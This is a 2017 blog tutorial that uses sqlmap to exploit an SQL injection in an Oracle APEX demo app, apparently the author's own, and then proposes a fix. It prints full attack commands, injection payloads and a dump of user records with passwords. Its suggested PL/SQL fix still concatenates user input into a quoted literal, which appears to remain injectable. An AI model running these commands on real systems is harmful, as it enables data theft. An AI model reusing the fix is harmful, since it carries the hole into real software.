Hayden Hudson
The dangers of 'Inappropriate Use of Substitution Syntax' errors
Introduction

SQLMAP is a free professional-grade software that takes a lot of the sweat out of exploiting SQL Injection vulnerabilities. It is not for the faint of heart because (a) expertise in this tool puts you in the company of some of the most ill-intentioned people on the web and (b) relatedly, the misuse of the tool could land you on the wrong side of the law.

Nonetheless, it is my recommendation that you learn its basics because it can be useful - especially to make a point about how important addressing SQL Injection vulnerabilities can be. Let’s run through an example of how SQLMAP is useful to me.

Example of how SQLMAP can be useful
Let’s say you have a production-grade application like this one here. (this one in particular is built using Oracle APEX, a technology suite known for its security features). As part of your routine security hygiene you run APEX Advisor, which lets you know that have *1* security risk, namely an ‘Inappropriate use of Substitution Syntax’:
Possible SQL Injection detected. P7_WHERE_CLAUSE_LS is used with substitution syntax in SQL, PL/SQL code or process table name.
select *
  from DEMO_CUSTOMERS
where 1=1
   &P7_WHERE_CLAUSE_LS.
WHAT'S NEXT
This query is based off a real-life example of code that I’ve recently encountered at a client. It’s not the worst SQL Injection vulnerability I’ve seen, it’s middle-of-the-road. In this example, the client is clearly trying to build a dynamic WHERE clause but in doing so the client has exposed itself to security vulnerability. So APEX Advisor is telling us it’s a problem but how do we prioritize the issue. How to make the vulnerability less abstract and more real?
Enter SQLMAP
Sqlmap is free to use and trivial to install.
On my mac, I can install using homebrew by typing
~$ brew install sqlmap
Get banner info
Let’s kick things off by challenging SQLMAP to extract the database banner information
banner
$ sqlmap -u "https://concept2completion.com:448/ords/wwv_flow.show?p_flow_id=153&p_flow_step_id=7&p_instance=10204457420770&p_arg_name=P7_WHERE_CLAUSE_LS&p_arg_value=and%202=2" --cookie="ORA_WWV_APP_153=ORA_WWV-BLcdeemHyXYcOnwiZCI6bHXU" --dbms ORACLE -p p_arg_value -b --flush-session
Breakdown of command
CommandExplanation
-uShort for URL.
-cookiePass in the cookie info here.
--dbms(Optional) I'm choosing to give SQLMAP a little help here by letting it know that it's an Oracle DB. SLQMAP is perfectly capable of figuring out by itself though.
-p(Optional) Short for Parameter - let's SQLMAP know which paramater carries the vulnerability.
-bShort for Banner. Here is where I ask SQLMAP to look for the banner info.
--flush-session(Optional) SQLMAP is very efficient at building on the information it keeps in stored sessions. You can tell it to start from scratch like so.
Output
SLQMAP cycles through the 5 SQL Injection strategies it has at its disposal:
  • 1. Blind
  • 2. Time-based
  • 3. Error-based
  • 4. Union query based
  • 5. Stacked queries
  • It successfully identified the vulnerability of the P7_WHERE_CLAUSE_LS that apex_advisor identified and prints out the successful strategies it used. And prints out the requested banner info - ‘ORACLE DATABASE 12C’

Output
...
[00:00:35] [INFO] GET parameter 'p_arg_value' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'p_arg_value' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 74 HTTP(s) requests:
---
Parameter: p_arg_value (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: p_flow_id=153&p_flow_step_id=5&p_instance=10204457420770&p_arg_name=P7_WHERE_CLAUSE_LS&p_arg_value=and 2=2 AND 7617=7617

    Type: error-based
    Title: Oracle AND error-based - WHERE or HAVING clause (CTXSYS.DRITHSX.SN)
    Payload: p_flow_id=153&p_flow_step_id=5&p_instance=10204457420770&p_arg_name=P7_WHERE_CLAUSE_LS&p_arg_value=and 2=2 AND 8387=CTXSYS.DRITHSX.SN(8387,(CHR(113)||CHR(113)||CHR(120)||CHR(106)||CHR(113)||(SELECT (CASE WHEN (8387=8387) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(118)||CHR(122)||CHR(98)||CHR(113)))

    Type: AND/OR time-based blind
    Title: Oracle AND time-based blind (heavy query)
    Payload: p_flow_id=153&p_flow_step_id=5&p_instance=10204457420770&p_arg_name=P7_WHERE_CLAUSE_LS&p_arg_value=and 2=2 AND 9045=(SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5)

    Type: UNION query
    Title: Generic UNION query (NULL) - 9 columns
    Payload: p_flow_id=153&p_flow_step_id=5&p_instance=10204457420770&p_arg_name=P7_WHERE_CLAUSE_LS&p_arg_value=and 2=2 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CHR(113)||CHR(113)||CHR(120)||CHR(106)||CHR(113)||CHR(103)||CHR(78)||CHR(77)||CHR(77)||CHR(115)||CHR(87)||CHR(81)||CHR(122)||CHR(89)||CHR(87)||CHR(107)||CHR(85)||CHR(106)||CHR(73)||CHR(66)||CHR(115)||CHR(80)||CHR(99)||CHR(72)||CHR(76)||CHR(97)||CHR(88)||CHR(72)||CHR(74)||CHR(89)||CHR(68)||CHR(108)||CHR(113)||CHR(81)||CHR(86)||CHR(87)||CHR(71)||CHR(77)||CHR(98)||CHR(112)||CHR(90)||CHR(65)||CHR(74)||CHR(107)||CHR(97)||CHR(113)||CHR(118)||CHR(122)||CHR(98)||CHR(113),NULL FROM DUAL-- aTFr
---
[00:00:41] [INFO] the back-end DBMS is Oracle
[00:00:41] [INFO] fetching banner
web application technology: Apache 2.4.20
back-end DBMS: Oracle
banner:    'Oracle Database 12c Enterprise Edition Release 12.1.0.2.0 - 64bit Production'
Get list of tables
Now that SQLMAP has its hooks in this vulnerability, we can up the ante and collect some more interesting information. Let’s identify how much of the database we can see by asking it to print out a full list of owners and tables.
tables
$ sqlmap -u "https://concept2completion.com:448/ords/wwv_flow.show?p_flow_id=153&p_flow_step_id=7&p_instance=10204457420770&p_arg_name=P7_WHERE_CLAUSE_LS&p_arg_value=and%202=2" --cookie="ORA_WWV_APP_153=ORA_WWV-BLcdeemHyXYcOnwiZCI6bHXU" -p p_arg_value -D SYS -T all_tables -C table_name,owner --dump  --batch
Breakdown of command
CommandExplanation
-D SYSI'm telling SQLMAP to explore the SYS schema.
-T all_tablesI'm telling SQLMAP to look in a tables called 'all_tables'.
-C table_name,ownerI'm telling SQLMAP to look for columns called 'table_name' and 'owner'.
--dumpI'm instructing SQLMAP to print out the contents of the table that it finds
--batchThis options says 'Accept all the default options' to spare me from having to answer SQLMAP's questions.
--stop=32This option says 'Stop after 32 tables'.
Output
This query allows me to identify how much of the database I have access to. In the video, I iteratively ask SQLMAP to pull back an increasingly large number of table names until one of the tables looks interesting.
Dump contents of a table
From the output of the previous exercise, I found a 'USER_TABLE' in the HAYDEN schema that sounds interesting.
table
$ sqlmap -u "https://concept2completion.com:448/ords/wwv_flow.show?p_flow_id=153&p_flow_step_id=7&p_instance=10204457420770&p_arg_name=P7_WHERE_CLAUSE_LS&p_arg_value=and%202=2" --cookie="ORA_WWV_APP_153=ORA_WWV-BLcdeemHyXYcOnwiZCI6bHXU" -p p_arg_value -D HAYDEN -T USER_TABLE --dump --batch
Output
This query allows me to dump the contents of a table.
Output
Database: HAYDEN
Table: USER_TABLE
[15 entries]
+----+-----------------+-------------------+-----------------------------+-------+--------------------------------+--------------+------------+--------------------------------+
| ID | CITY            | NAME              | EMAIL                       | STATE | ADDRESS                        | USERNAME     | PASSWORD   | PASSWORD_HASH                  |
+----+-----------------+-------------------+-----------------------------+-------+--------------------------------+--------------+------------+--------------------------------+
| 1  | Tanquecitos     | Shon Capetl       | gricelda.luebbers@aaab.com  | NY    | 93 Vaqueria Blvd               | scapetl      | Orci       | �\r\n\r\nm�i�\x1b�]/���+o |
| 2  | Sugarloaf       | Tressa Coppens    | dean.bollich@aaac.com       | CT    | 969 Stonefort Place            | tcoppens     | Molestie   | \x19\t\x03�\x10\t<�ꉓ��j\x1cF   |
| 3  | Dale City       | Gricelda Luebbers | milo.manoni@aaad.com        | NY    | 365 Orrville Street            | gluebbers    | Velit      | ��t`8~�Oj��\x9cͱ\x08           |
| 4  | Grosvenor       | Stephen Butler    | laurice.karl@aaae.com       | CT    | 806 Eldon Place                | sbutler      | Neque      | *��\x16�����=f\x1b��J          |
| 5  | Riverside       | Anthony Boone     | august.rupel@aaaf.com       | MD    | 767 Lake Norman of Catawba Ave | aboone       | Amet       | ⹑\r\n\x1e��\x04��-L�&#x2F;t�   |
| 6  | Ridgeley        | James Williams    | salome.guisti@aaag.com      | MD    | 265 Vevay Street               | jwilliams    | Elit       | ���^S�Hk\x01�\x0c�\x1c�r       |
| 7  | Ashley Heights  | Christopher Allen | lovie.ritacco@aaah.com      | VA    | 690 Wimmenau Ave               | callen       | Blandit    | !��O�*�;9�\x10��:b2            |
| 8  | Monfort Heights | Raymond Bailey    | chaya.greczkowski@aaai.com  | TX    | 192 Tremadog Blvd              | rbailey      | Sit        | \x0b�r㬽��g���&#x2F;\x13�y      |
| 9  | Point Marion    | Gricelda Luebbers | twila.coolbeth@aaaj.com     | TX    | 521 North Lilbourn Street      | galuebbers   | Justo      | �;B_>�U���ʪ~\x14%:             |
| 10 | Eldon           | Love Whistlehunt  | carlotta.achenbach@aaak.com | MD    | 339 Tygh Valley Street         | lwhistlehunt | Gravida    | ��a�\x14M[&#x27;�)��\x19\x12c  |
| 11 | Greendale       | Opal Cruz         | jeraldine.audet@aaal.com    | VA    | 681 Anieves Ave                | ocruz        | Pharetra   | *\r\n$�?y&���ԥ��\x17\x11       |
| 12 | Ammon           | Kimiko Brien      | august.arouri@aaam.com      | MD    | 752 Mission Bend Ave           | kbrien       | Suspendiss | J\x18lS�\x07���۳��\x1d\x14     |
| 13 | Wallsburg       | Paz Montilla      | ward.stepney@aaan.com       | AK    | 598 Chesaning Street           | pmontilla    | Sit        | \x0b�r㬽��g���&#x2F;\x13�y      |
| 14 | De Pue          | Norman Lobregat   | ayana.barkhurst@aaao.com    | AK    | 269 Brazos Bend Street         | nlobregat    | Non        | fy�\\�+,Zـ��!�                 |
| 15 | Prompton        | Luther Ardinger   | luana.berends@aaap.com      | MD    | 809 Surf City Place            | lardinger    | Fusce      | ׮6!9}Yu\x14\x1a\x07�T�\x19e    |
+----+-----------------+-------------------+-----------------------------+-------+--------------------------------+--------------+------------+--------------------------------+
Take-away
Thus concludes a demo of how important it is to address ‘Inappropriate Use of Substitution Syntax’ warnings. A single vulnerability can be exploited to extract some completely unrelated and potentially very sensitive data from your database.
How to secure this vulnerability
SQL Injection vulnerabilities come in a great diversity of forms. This one in particular is harder to solve than most because P7_WHERE_CLAUSE_LS's very purpose is to dynamically assemble a seemingly unbounded possibility of filtering options against the query. No doubt there are many possible solutions - here's one:
An expedient, if inelegant solution, could be similar to:
declare
    l_query varchar(1024);
    l_where varchar(1024);
begin
    l_query := 'select * from DEMO_CUSTOMERS';
    if :P7_COL_VALUE is not null then
        l_where := ' WHERE '||SYS.DBMS_ASSERT.SIMPLE_SQL_NAME(:P7_COL_NAME)||' LIKE q''[%' || :P7_COL_VALUE || '%]''';
        l_query := l_query || ' ' || l_where;
    end if;
    return l_query;
end;
Further reading:
For simpler examples of how to secure SQL Injection vulnerabilities
A handy guide
Date
Date : Dec. 21, 2017